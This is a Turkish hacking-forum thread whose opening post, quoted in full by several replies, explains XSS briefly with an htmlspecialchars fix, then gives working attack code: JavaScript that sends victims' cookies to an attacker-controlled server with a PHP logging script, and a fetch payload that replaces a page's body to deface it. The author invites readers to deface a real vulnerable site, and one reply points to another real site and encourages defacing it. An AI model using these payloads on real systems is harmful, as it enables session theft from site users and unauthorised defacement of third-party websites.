Xss Açığını Sömürme, Fiksleme Ve İndex Basma|Gerçek bir site üstünde uygulamalı|

'CaptainKanka

O Şimdi Asker!
14 Eki 2012
1,683
1,261
localhost/admin.php
Merhaba Dostlar

Bu konumda sizlere xss açığına bakış açımı, sömürme biçimlerini, fixleme işlemlerini anlatacağım.

İlk olarak xss açığı nedir buna bakalım.
Kullanıcıdan alınan verinin filtrelenmeden sitede kullanılması sonucu javascript kodlarının sitede çalışması ile oluşan açıktır.

Bu açık sayesinde sitedeki kullanıcıların cookieleri çekilebilir ve dolaylı yönden index basılabilir haliyle index basmak yerine fake bir login girişi verilerek kullanıcı adı ve şifreler öğrenilebilir.

Şimdi bu açığın basit bir şekilde oluşumundan bahsedelim. Kullanıcıdan alınan bir form verisi(kullanıcı adı,şifre) girilirse ve bu veri filtrelenmezse xss oluşabilir.

Kod:
<input type="text" name="kullaniciadi">[/COLOR][/CENTER][/COLOR][/CENTER][/COLOR][/CENTER][/COLOR][/CENTER]
[COLOR=rgb(251, 160, 38)][CENTER][COLOR=rgb(251, 160, 38)][CENTER][COLOR=rgb(251, 160, 38)][CENTER][COLOR=rgb(251, 160, 38)][CENTER]<input type="text" name="sifre">





Ve girilen veriler bir php dosyasıyla alınsın

PHP:
$kullaniciadi=$_POST['kullaniciadi'];
sifre=$_POST['sifre'];

İşte tam bu noktada alınan veri değişkene aktarılırken bir filtrelenme uygulanmazsa xss açığı oluşur.
Peki bu filtrelemeyi nasıl sağlarız?
Burada htmlspecialchars fonksiyonu php'de bu açığı kapatmayı sağlar. yani yukarıdaki kodun doğru versiyonu

PHP:
$kullaniciadi=htmlspecialchars($_POST['kullaniciadi']);
sifre=htmlspecialchars($_POST['sifre']);

Bu açığı kapatmak için bazen sadece yollanan veriyi alırken filtrelemek yetmez. Örneğin veritabanına bir <script>alert(1)</script> gibi bir veri girilirse ve veritabanından çağırılan bu verinin
filtrelemeden ekrana bastırılması sağlanırsa buda xss açığını dolaylı yoldan oluşturur bu yüzden ekrana bastırılırkende htmlspecialcharstan geçirilerek ekrana bastırılması gerekir.
Kısaca bu olaya değindikten sonra artık sömürme tarafına geçelim.


XSS İLE COOKİE ÇEKME

Burada birazda sosyal mühendislikte vardır.

Xss ile cookie çalarken bir sunucuya ihtiyacımız var. Bu sunucumuzda çekilen cookieleri kaydedeceğiz.
ilk olarak sitemizin adını cookieler.com olarak örnek verelim.

buraya bir hack.js uzantılı dosya oluşturup dosyanın içine

JavaScript:
var xmlHttp = new XMLHttpRequest();
xmlHttp.open("GET", 'https://cookieler.com/kaydet.php?cookie='+document.cookie);
xmlHttp.send(null);

kodunu yapıştırarak cookieler.com daki diğer oluşturacağımız ve cookienin kaydını yapacağımız php dosyasının yolunu göstereceğiz.

Şimdi kaydet.php dosyamızı (cookienin kaydını yapacağımız) oluşturalım ve içine

PHP:
if(isset($_GET["cookie"])){
    $file = fopen('cookieler.txt', 'a');
    fwrite($file, $_GET["cookie"]."\n");
    fclose($file);
}

kodunu yapıştıralım. Şimdi senaryomuz hack.js dosyası çağırılırsa get methoduyla kaydet.php ye bir istek atıyoruz ve bu isteği cookiler.txt ye kaydediyoruz.
Artık yapmamız gereken xss açıklı sitede hack.js dosyamızı çağırmak.

JavaScript:
<script src="https://cookieler.com/hack.js"></script>

Bu kodu xss açıklı sitemize girdikten sonra açıklı sayfaya hedefimizi yönlendirirsek bu hack.js dosyasını bilmeden çalıştırarak cookielerini sunucumuza kaydetmemizi sağlayacak.


İNDEX BASMA|GERÇEK SİTE ÖRNEĞİYLE-KENDİNİZDE BU SİTEDE DENEYEBİLİRSİNİZ|

burada biraz javascripti zorlayacağız.

İlk olarak ben githubtan bir herkese açık proje oluşturup içine kendi index kodlarımı yazdım. Ardından bunun raw olarak çıktısını aldım.

Raw çıktımın linki https://raw.githubusercontent.com/tealpi32/indexim/main/ab.html

Şimdi ise bunu xss açığı bulduğum bir siteye girerek deniyorum site linki


Şimdi ise index basmak için gerekli olan kodumuzu paylaşayım

<script>fetch("
").then(response=>response.text()).then(html=>document.body.innerHTML=html);</script>

koddaki kırmızı renkli yere kendi indeksinizi raw url'ini yazarak düzenleyin ardından siteye uygulayın

<script>fetch(" ").then(response=>response.text()).then(html=>document.body.innerHTML=html);</script>

Gördüğünüz gibi ekrana indeksimiz bastırıldı. Buradaki önemli olan konu çekilen dosyanın sergilenmesi. Yani dosyanın sunucuya indirlmesi söz konusu değildir.

Ancak yinede bu ekranı zone sitesine koyarsanız indeksinizi zone sitesinde de görmüş olacaksınız.

Bu konumda sizlere xss açığının oluşumundan sömürülmesine ve fikslenmesine kadar anlatmaya çalıştım.

İşinize yaraması dileğiyle

İyi Forumlar
 

teux

Katılımcı Üye
23 Ocak 2023
959
1,332
Merhaba Dostlar

Bu konumda sizlere xss açığına bakış açımı, sömürme biçimlerini, fixleme işlemlerini anlatacağım.

İlk olarak xss açığı nedir buna bakalım.
Kullanıcıdan alınan verinin filtrelenmeden sitede kullanılması sonucu javascript kodlarının sitede çalışması ile oluşan açıktır.

Bu açık sayesinde sitedeki kullanıcıların cookieleri çekilebilir ve dolaylı yönden index basılabilir haliyle index basmak yerine fake bir login girişi verilerek kullanıcı adı ve şifreler öğrenilebilir.

Şimdi bu açığın basit bir şekilde oluşumundan bahsedelim. Kullanıcıdan alınan bir form verisi(kullanıcı adı,şifre) girilirse ve bu veri filtrelenmezse xss oluşabilir.

Kod:
<input type="text" name="kullaniciadi">[/COLOR][/CENTER][/COLOR][/CENTER][/COLOR][/CENTER][/COLOR][/CENTER][/COLOR][/CENTER]
[COLOR=rgb(251, 160, 38)][CENTER][COLOR=rgb(251, 160, 38)][CENTER][COLOR=rgb(251, 160, 38)][CENTER][COLOR=rgb(251, 160, 38)][CENTER][COLOR=rgb(251, 160, 38)][CENTER]<input type="text" name="sifre">






Ve girilen veriler bir php dosyasıyla alınsın

PHP:
$kullaniciadi=$_POST['kullaniciadi'];
sifre=$_POST['sifre'];

İşte tam bu noktada alınan veri değişkene aktarılırken bir filtrelenme uygulanmazsa xss açığı oluşur.
Peki bu filtrelemeyi nasıl sağlarız?
Burada htmlspecialchars fonksiyonu php'de bu açığı kapatmayı sağlar. yani yukarıdaki kodun doğru versiyonu

PHP:
$kullaniciadi=htmlspecialchars($_POST['kullaniciadi']);
sifre=htmlspecialchars($_POST['sifre']);

Bu açığı kapatmak için bazen sadece yollanan veriyi alırken filtrelemek yetmez. Örneğin veritabanına bir <script>alert(1)</script> gibi bir veri girilirse ve veritabanından çağırılan bu verinin
filtrelemeden ekrana bastırılması sağlanırsa buda xss açığını dolaylı yoldan oluşturur bu yüzden ekrana bastırılırkende htmlspecialcharstan geçirilerek ekrana bastırılması gerekir.
Kısaca bu olaya değindikten sonra artık sömürme tarafına geçelim.


XSS İLE COOKİE ÇEKME

Burada birazda sosyal mühendislikte vardır.

Xss ile cookie çalarken bir sunucuya ihtiyacımız var. Bu sunucumuzda çekilen cookieleri kaydedeceğiz.
ilk olarak sitemizin adını cookieler.com olarak örnek verelim.

buraya bir hack.js uzantılı dosya oluşturup dosyanın içine

JavaScript:
var xmlHttp = new XMLHttpRequest();
xmlHttp.open("GET", 'https://cookieler.com/kaydet.php?cookie='+document.cookie);
xmlHttp.send(null);

kodunu yapıştırarak cookieler.com daki diğer oluşturacağımız ve cookienin kaydını yapacağımız php dosyasının yolunu göstereceğiz.

Şimdi kaydet.php dosyamızı (cookienin kaydını yapacağımız) oluşturalım ve içine

PHP:
if(isset($_GET["cookie"])){
    $file = fopen('cookieler.txt', 'a');
    fwrite($file, $_GET["cookie"]."\n");
    fclose($file);
}

kodunu yapıştıralım. Şimdi senaryomuz hack.js dosyası çağırılırsa get methoduyla kaydet.php ye bir istek atıyoruz ve bu isteği cookiler.txt ye kaydediyoruz.
Artık yapmamız gereken xss açıklı sitede hack.js dosyamızı çağırmak.

JavaScript:
<script src="https://cookieler.com/hack.js"></script>

Bu kodu xss açıklı sitemize girdikten sonra açıklı sayfaya hedefimizi yönlendirirsek bu hack.js dosyasını bilmeden çalıştırarak cookielerini sunucumuza kaydetmemizi sağlayacak.


İNDEX BASMA|GERÇEK SİTE ÖRNEĞİYLE-KENDİNİZDE BU SİTEDE DENEYEBİLİRSİNİZ|

burada biraz javascripti zorlayacağız.

İlk olarak ben githubtan bir herkese açık proje oluşturup içine kendi index kodlarımı yazdım. Ardından bunun raw olarak çıktısını aldım.

Raw çıktımın linki https://raw.githubusercontent.com/tealpi32/indexim/main/ab.html

Şimdi ise bunu xss açığı bulduğum bir siteye girerek deniyorum site linki


Şimdi ise index basmak için gerekli olan kodumuzu paylaşayım

<script>fetch("
").then(response=>response.text()).then(html=>document.body.innerHTML=html);</script>

koddaki kırmızı renkli yere kendi indeksinizi raw url'ini yazarak düzenleyin ardından siteye uygulayın

<script>fetch(" ").then(response=>response.text()).then(html=>document.body.innerHTML=html);</script>

Gördüğünüz gibi ekrana indeksimiz bastırıldı. Buradaki önemli olan konu çekilen dosyanın sergilenmesi. Yani dosyanın sunucuya indirlmesi söz konusu değildir.

Ancak yinede bu ekranı zone sitesine koyarsanız indeksinizi zone sitesinde de görmüş olacaksınız.

Bu konumda sizlere xss açığının oluşumundan sömürülmesine ve fikslenmesine kadar anlatmaya çalıştım.

İşinize yaraması dileğiyle

İyi Forumlar
Elinize sağlık hocam.
 

TheNeferian

Basın&Medya Ekibi
27 Kas 2022
1,438
1,146
є.ค♡
Merhaba Dostlar

Bu konumda sizlere xss açığına bakış açımı, sömürme biçimlerini, fixleme işlemlerini anlatacağım.

İlk olarak xss açığı nedir buna bakalım.
Kullanıcıdan alınan verinin filtrelenmeden sitede kullanılması sonucu javascript kodlarının sitede çalışması ile oluşan açıktır.

Bu açık sayesinde sitedeki kullanıcıların cookieleri çekilebilir ve dolaylı yönden index basılabilir haliyle index basmak yerine fake bir login girişi verilerek kullanıcı adı ve şifreler öğrenilebilir.

Şimdi bu açığın basit bir şekilde oluşumundan bahsedelim. Kullanıcıdan alınan bir form verisi(kullanıcı adı,şifre) girilirse ve bu veri filtrelenmezse xss oluşabilir.

Kod:
<input type="text" name="kullaniciadi">[/COLOR][/CENTER][/COLOR][/CENTER][/COLOR][/CENTER][/COLOR][/CENTER][/COLOR][/CENTER]
[COLOR=rgb(251, 160, 38)][CENTER][COLOR=rgb(251, 160, 38)][CENTER][COLOR=rgb(251, 160, 38)][CENTER][COLOR=rgb(251, 160, 38)][CENTER][COLOR=rgb(251, 160, 38)][CENTER]<input type="text" name="sifre">






Ve girilen veriler bir php dosyasıyla alınsın

PHP:
$kullaniciadi=$_POST['kullaniciadi'];
sifre=$_POST['sifre'];

İşte tam bu noktada alınan veri değişkene aktarılırken bir filtrelenme uygulanmazsa xss açığı oluşur.
Peki bu filtrelemeyi nasıl sağlarız?
Burada htmlspecialchars fonksiyonu php'de bu açığı kapatmayı sağlar. yani yukarıdaki kodun doğru versiyonu

PHP:
$kullaniciadi=htmlspecialchars($_POST['kullaniciadi']);
sifre=htmlspecialchars($_POST['sifre']);

Bu açığı kapatmak için bazen sadece yollanan veriyi alırken filtrelemek yetmez. Örneğin veritabanına bir <script>alert(1)</script> gibi bir veri girilirse ve veritabanından çağırılan bu verinin
filtrelemeden ekrana bastırılması sağlanırsa buda xss açığını dolaylı yoldan oluşturur bu yüzden ekrana bastırılırkende htmlspecialcharstan geçirilerek ekrana bastırılması gerekir.
Kısaca bu olaya değindikten sonra artık sömürme tarafına geçelim.


XSS İLE COOKİE ÇEKME

Burada birazda sosyal mühendislikte vardır.

Xss ile cookie çalarken bir sunucuya ihtiyacımız var. Bu sunucumuzda çekilen cookieleri kaydedeceğiz.
ilk olarak sitemizin adını cookieler.com olarak örnek verelim.

buraya bir hack.js uzantılı dosya oluşturup dosyanın içine

JavaScript:
var xmlHttp = new XMLHttpRequest();
xmlHttp.open("GET", 'https://cookieler.com/kaydet.php?cookie='+document.cookie);
xmlHttp.send(null);

kodunu yapıştırarak cookieler.com daki diğer oluşturacağımız ve cookienin kaydını yapacağımız php dosyasının yolunu göstereceğiz.

Şimdi kaydet.php dosyamızı (cookienin kaydını yapacağımız) oluşturalım ve içine

PHP:
if(isset($_GET["cookie"])){
    $file = fopen('cookieler.txt', 'a');
    fwrite($file, $_GET["cookie"]."\n");
    fclose($file);
}

kodunu yapıştıralım. Şimdi senaryomuz hack.js dosyası çağırılırsa get methoduyla kaydet.php ye bir istek atıyoruz ve bu isteği cookiler.txt ye kaydediyoruz.
Artık yapmamız gereken xss açıklı sitede hack.js dosyamızı çağırmak.

JavaScript:
<script src="https://cookieler.com/hack.js"></script>

Bu kodu xss açıklı sitemize girdikten sonra açıklı sayfaya hedefimizi yönlendirirsek bu hack.js dosyasını bilmeden çalıştırarak cookielerini sunucumuza kaydetmemizi sağlayacak.


İNDEX BASMA|GERÇEK SİTE ÖRNEĞİYLE-KENDİNİZDE BU SİTEDE DENEYEBİLİRSİNİZ|

burada biraz javascripti zorlayacağız.

İlk olarak ben githubtan bir herkese açık proje oluşturup içine kendi index kodlarımı yazdım. Ardından bunun raw olarak çıktısını aldım.

Raw çıktımın linki https://raw.githubusercontent.com/tealpi32/indexim/main/ab.html

Şimdi ise bunu xss açığı bulduğum bir siteye girerek deniyorum site linki


Şimdi ise index basmak için gerekli olan kodumuzu paylaşayım

<script>fetch("
").then(response=>response.text()).then(html=>document.body.innerHTML=html);</script>

koddaki kırmızı renkli yere kendi indeksinizi raw url'ini yazarak düzenleyin ardından siteye uygulayın

<script>fetch(" ").then(response=>response.text()).then(html=>document.body.innerHTML=html);</script>

Gördüğünüz gibi ekrana indeksimiz bastırıldı. Buradaki önemli olan konu çekilen dosyanın sergilenmesi. Yani dosyanın sunucuya indirlmesi söz konusu değildir.

Ancak yinede bu ekranı zone sitesine koyarsanız indeksinizi zone sitesinde de görmüş olacaksınız.

Bu konumda sizlere xss açığının oluşumundan sömürülmesine ve fikslenmesine kadar anlatmaya çalıştım.

İşinize yaraması dileğiyle

İyi Forumlar
Eline sağlık
 

xzairo

Yeni üye
25 Ara 2022
4
2
Merhaba Dostlar

Bu konumda sizlere xss açığına bakış açımı, sömürme biçimlerini, fixleme işlemlerini anlatacağım.

İlk olarak xss açığı nedir buna bakalım.
Kullanıcıdan alınan verinin filtrelenmeden sitede kullanılması sonucu javascript kodlarının sitede çalışması ile oluşan açıktır.

Bu açık sayesinde sitedeki kullanıcıların cookieleri çekilebilir ve dolaylı yönden index basılabilir haliyle index basmak yerine fake bir login girişi verilerek kullanıcı adı ve şifreler öğrenilebilir.

Şimdi bu açığın basit bir şekilde oluşumundan bahsedelim. Kullanıcıdan alınan bir form verisi(kullanıcı adı,şifre) girilirse ve bu veri filtrelenmezse xss oluşabilir.

Kod:
<input type="text" name="kullaniciadi">[/COLOR][/CENTER][/COLOR][/CENTER][/COLOR][/CENTER][/COLOR][/CENTER][/COLOR][/CENTER]
[COLOR=rgb(251, 160, 38)][CENTER][COLOR=rgb(251, 160, 38)][CENTER][COLOR=rgb(251, 160, 38)][CENTER][COLOR=rgb(251, 160, 38)][CENTER][COLOR=rgb(251, 160, 38)][CENTER]<input type="text" name="sifre">






Ve girilen veriler bir php dosyasıyla alınsın

PHP:
$kullaniciadi=$_POST['kullaniciadi'];
sifre=$_POST['sifre'];

İşte tam bu noktada alınan veri değişkene aktarılırken bir filtrelenme uygulanmazsa xss açığı oluşur.
Peki bu filtrelemeyi nasıl sağlarız?
Burada htmlspecialchars fonksiyonu php'de bu açığı kapatmayı sağlar. yani yukarıdaki kodun doğru versiyonu

PHP:
$kullaniciadi=htmlspecialchars($_POST['kullaniciadi']);
sifre=htmlspecialchars($_POST['sifre']);

Bu açığı kapatmak için bazen sadece yollanan veriyi alırken filtrelemek yetmez. Örneğin veritabanına bir <script>alert(1)</script> gibi bir veri girilirse ve veritabanından çağırılan bu verinin
filtrelemeden ekrana bastırılması sağlanırsa buda xss açığını dolaylı yoldan oluşturur bu yüzden ekrana bastırılırkende htmlspecialcharstan geçirilerek ekrana bastırılması gerekir.
Kısaca bu olaya değindikten sonra artık sömürme tarafına geçelim.


XSS İLE COOKİE ÇEKME

Burada birazda sosyal mühendislikte vardır.

Xss ile cookie çalarken bir sunucuya ihtiyacımız var. Bu sunucumuzda çekilen cookieleri kaydedeceğiz.
ilk olarak sitemizin adını cookieler.com olarak örnek verelim.

buraya bir hack.js uzantılı dosya oluşturup dosyanın içine

JavaScript:
var xmlHttp = new XMLHttpRequest();
xmlHttp.open("GET", 'https://cookieler.com/kaydet.php?cookie='+document.cookie);
xmlHttp.send(null);

kodunu yapıştırarak cookieler.com daki diğer oluşturacağımız ve cookienin kaydını yapacağımız php dosyasının yolunu göstereceğiz.

Şimdi kaydet.php dosyamızı (cookienin kaydını yapacağımız) oluşturalım ve içine

PHP:
if(isset($_GET["cookie"])){
    $file = fopen('cookieler.txt', 'a');
    fwrite($file, $_GET["cookie"]."\n");
    fclose($file);
}

kodunu yapıştıralım. Şimdi senaryomuz hack.js dosyası çağırılırsa get methoduyla kaydet.php ye bir istek atıyoruz ve bu isteği cookiler.txt ye kaydediyoruz.
Artık yapmamız gereken xss açıklı sitede hack.js dosyamızı çağırmak.

JavaScript:
<script src="https://cookieler.com/hack.js"></script>

Bu kodu xss açıklı sitemize girdikten sonra açıklı sayfaya hedefimizi yönlendirirsek bu hack.js dosyasını bilmeden çalıştırarak cookielerini sunucumuza kaydetmemizi sağlayacak.


İNDEX BASMA|GERÇEK SİTE ÖRNEĞİYLE-KENDİNİZDE BU SİTEDE DENEYEBİLİRSİNİZ|

burada biraz javascripti zorlayacağız.

İlk olarak ben githubtan bir herkese açık proje oluşturup içine kendi index kodlarımı yazdım. Ardından bunun raw olarak çıktısını aldım.

Raw çıktımın linki https://raw.githubusercontent.com/tealpi32/indexim/main/ab.html

Şimdi ise bunu xss açığı bulduğum bir siteye girerek deniyorum site linki


Şimdi ise index basmak için gerekli olan kodumuzu paylaşayım

<script>fetch("
").then(response=>response.text()).then(html=>document.body.innerHTML=html);</script>

koddaki kırmızı renkli yere kendi indeksinizi raw url'ini yazarak düzenleyin ardından siteye uygulayın

<script>fetch(" ").then(response=>response.text()).then(html=>document.body.innerHTML=html);</script>

Gördüğünüz gibi ekrana indeksimiz bastırıldı. Buradaki önemli olan konu çekilen dosyanın sergilenmesi. Yani dosyanın sunucuya indirlmesi söz konusu değildir.

Ancak yinede bu ekranı zone sitesine koyarsanız indeksinizi zone sitesinde de görmüş olacaksınız.

Bu konumda sizlere xss açığının oluşumundan sömürülmesine ve fikslenmesine kadar anlatmaya çalıştım.

İşinize yaraması dileğiyle

İyi Forumlar
peki hocam bi xss açığı olan site nasıl bulabilirim?
 

Agent-47

Katılımcı Üye
23 Mar 2023
415
265
HACKERİSTAN
peki hocam bi xss açığı olan site nasıl bulabilirim?
dork yazıcaksın ve denemeler yapıcaksın xss varmı diye yada tool ile xss varmı onla bulabilirsin
al sana örnek xss sitesi:
sitenin sağ üstünde enter search words kısmında xss var
index basma çünkü rusya sitesi, rusyada thtde whitelistte
basıcaksanda tht adına basma
fb50iga.png
 

01Kevin01

Katılımcı Üye
4 May 2022
428
224
Merhaba Dostlar

Bu konumda sizlere xss açığına bakış açımı, sömürme biçimlerini, fixleme işlemlerini anlatacağım.

İlk olarak xss açığı nedir buna bakalım.
Kullanıcıdan alınan verinin filtrelenmeden sitede kullanılması sonucu javascript kodlarının sitede çalışması ile oluşan açıktır.

Bu açık sayesinde sitedeki kullanıcıların cookieleri çekilebilir ve dolaylı yönden index basılabilir haliyle index basmak yerine fake bir login girişi verilerek kullanıcı adı ve şifreler öğrenilebilir.

Şimdi bu açığın basit bir şekilde oluşumundan bahsedelim. Kullanıcıdan alınan bir form verisi(kullanıcı adı,şifre) girilirse ve bu veri filtrelenmezse xss oluşabilir.

Kod:
<input type="text" name="kullaniciadi">[/COLOR][/CENTER][/COLOR][/CENTER][/COLOR][/CENTER][/COLOR][/CENTER][/COLOR][/CENTER]
[COLOR=rgb(251, 160, 38)][CENTER][COLOR=rgb(251, 160, 38)][CENTER][COLOR=rgb(251, 160, 38)][CENTER][COLOR=rgb(251, 160, 38)][CENTER][COLOR=rgb(251, 160, 38)][CENTER]<input type="text" name="sifre">






Ve girilen veriler bir php dosyasıyla alınsın

PHP:
$kullaniciadi=$_POST['kullaniciadi'];
sifre=$_POST['sifre'];

İşte tam bu noktada alınan veri değişkene aktarılırken bir filtrelenme uygulanmazsa xss açığı oluşur.
Peki bu filtrelemeyi nasıl sağlarız?
Burada htmlspecialchars fonksiyonu php'de bu açığı kapatmayı sağlar. yani yukarıdaki kodun doğru versiyonu

PHP:
$kullaniciadi=htmlspecialchars($_POST['kullaniciadi']);
sifre=htmlspecialchars($_POST['sifre']);

Bu açığı kapatmak için bazen sadece yollanan veriyi alırken filtrelemek yetmez. Örneğin veritabanına bir <script>alert(1)</script> gibi bir veri girilirse ve veritabanından çağırılan bu verinin
filtrelemeden ekrana bastırılması sağlanırsa buda xss açığını dolaylı yoldan oluşturur bu yüzden ekrana bastırılırkende htmlspecialcharstan geçirilerek ekrana bastırılması gerekir.
Kısaca bu olaya değindikten sonra artık sömürme tarafına geçelim.


XSS İLE COOKİE ÇEKME

Burada birazda sosyal mühendislikte vardır.

Xss ile cookie çalarken bir sunucuya ihtiyacımız var. Bu sunucumuzda çekilen cookieleri kaydedeceğiz.
ilk olarak sitemizin adını cookieler.com olarak örnek verelim.

buraya bir hack.js uzantılı dosya oluşturup dosyanın içine

JavaScript:
var xmlHttp = new XMLHttpRequest();
xmlHttp.open("GET", 'https://cookieler.com/kaydet.php?cookie='+document.cookie);
xmlHttp.send(null);

kodunu yapıştırarak cookieler.com daki diğer oluşturacağımız ve cookienin kaydını yapacağımız php dosyasının yolunu göstereceğiz.

Şimdi kaydet.php dosyamızı (cookienin kaydını yapacağımız) oluşturalım ve içine

PHP:
if(isset($_GET["cookie"])){
    $file = fopen('cookieler.txt', 'a');
    fwrite($file, $_GET["cookie"]."\n");
    fclose($file);
}

kodunu yapıştıralım. Şimdi senaryomuz hack.js dosyası çağırılırsa get methoduyla kaydet.php ye bir istek atıyoruz ve bu isteği cookiler.txt ye kaydediyoruz.
Artık yapmamız gereken xss açıklı sitede hack.js dosyamızı çağırmak.

JavaScript:
<script src="https://cookieler.com/hack.js"></script>

Bu kodu xss açıklı sitemize girdikten sonra açıklı sayfaya hedefimizi yönlendirirsek bu hack.js dosyasını bilmeden çalıştırarak cookielerini sunucumuza kaydetmemizi sağlayacak.


İNDEX BASMA|GERÇEK SİTE ÖRNEĞİYLE-KENDİNİZDE BU SİTEDE DENEYEBİLİRSİNİZ|

burada biraz javascripti zorlayacağız.

İlk olarak ben githubtan bir herkese açık proje oluşturup içine kendi index kodlarımı yazdım. Ardından bunun raw olarak çıktısını aldım.

Raw çıktımın linki https://raw.githubusercontent.com/tealpi32/indexim/main/ab.html

Şimdi ise bunu xss açığı bulduğum bir siteye girerek deniyorum site linki


Şimdi ise index basmak için gerekli olan kodumuzu paylaşayım

<script>fetch("
").then(response=>response.text()).then(html=>document.body.innerHTML=html);</script>

koddaki kırmızı renkli yere kendi indeksinizi raw url'ini yazarak düzenleyin ardından siteye uygulayın

<script>fetch(" ").then(response=>response.text()).then(html=>document.body.innerHTML=html);</script>

Gördüğünüz gibi ekrana indeksimiz bastırıldı. Buradaki önemli olan konu çekilen dosyanın sergilenmesi. Yani dosyanın sunucuya indirlmesi söz konusu değildir.

Ancak yinede bu ekranı zone sitesine koyarsanız indeksinizi zone sitesinde de görmüş olacaksınız.

Bu konumda sizlere xss açığının oluşumundan sömürülmesine ve fikslenmesine kadar anlatmaya çalıştım.

İşinize yaraması dileğiyle

İyi Forumlar
Hocam elinize sağlık
 

'Herodot

Asistan Moderatör
30 Eyl 2017
419
273
Kuvâ-yi Milliye
Merak ettiğim bir soru şu sitede XSS açığı varmı yokmu nasıl anlıyacağız?
Selam,

XSS açığı üç ana kategoriye ayrılır.

Reflected XSS (Geri Yansıtılan XSS)

Stored XSS (Depolanan XSS)

DOM-based XSS (DOM Tabanlı XSS)



En basit örneğiyle sitenin search kısmında aşağıdaki kodu yürüttüğümüz de karşımıza Popup ile bildirim geliyorsa potansiyel bir açık vardır.

Kod:
<script>alert(1)</script>

Bu giriş seviye bilgidir, xss açığı daha fazla yöntemler ile sömürülebilir.

İyi Forumlar.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.